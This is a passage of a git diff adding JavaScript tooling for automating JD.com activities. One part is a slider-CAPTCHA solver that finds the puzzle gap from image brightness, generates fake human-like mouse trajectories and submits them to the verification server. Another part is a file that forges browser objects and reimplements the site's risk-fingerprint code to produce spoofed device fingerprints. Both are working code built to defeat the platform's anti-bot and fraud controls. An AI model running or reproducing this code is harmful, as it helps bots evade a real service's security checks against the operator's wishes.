mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = '61.49.99.122'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + } + + async run(scene) { + try { + const tryRecognize = async () => { + const x = await this.recognize(scene); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.count("验证失败"); + // console.count(JSON.stringify(result)); + await sleep(300); + return await this.run(scene); + } + } catch (e) { + console.info(e) + } + } + + async recognize(scene) { + try { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } catch (e) { + console.info(e) + } + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA, ...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 5; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +// new JDJRValidator().run(); +// new JDJRValidator().report(1000); +// console.log(getCoordinate(new MousePosFaker(100).run())); + +function injectToRequest2(fn, scene = 'cww') { + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + try { + if (err) { + console.error('验证请求失败.'); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + if (res) { + opts.url += `&validate=${res.validate}`; + } + fn(opts, cb); + } else { + cb(err, resp, data); + } + } catch (e) { + console.info(e) + } + }); + }; +} + +async function injectToRequest(scene = 'cww') { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + return `&validate=${res.validate}` +} + +module.exports = { + sleep, + injectToRequest, + injectToRequest2 +} diff --git a/utils/JDSignValidator.js b/utils/JDSignValidator.js new file mode 100644 index 0000000..a427a61 --- /dev/null +++ b/utils/JDSignValidator.js @@ -0,0 +1,2080 @@ +const UA = require('../USER_AGENTS.js').USER_AGENT; + +const navigator = { + userAgent: UA, + plugins: { length: 0 }, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + 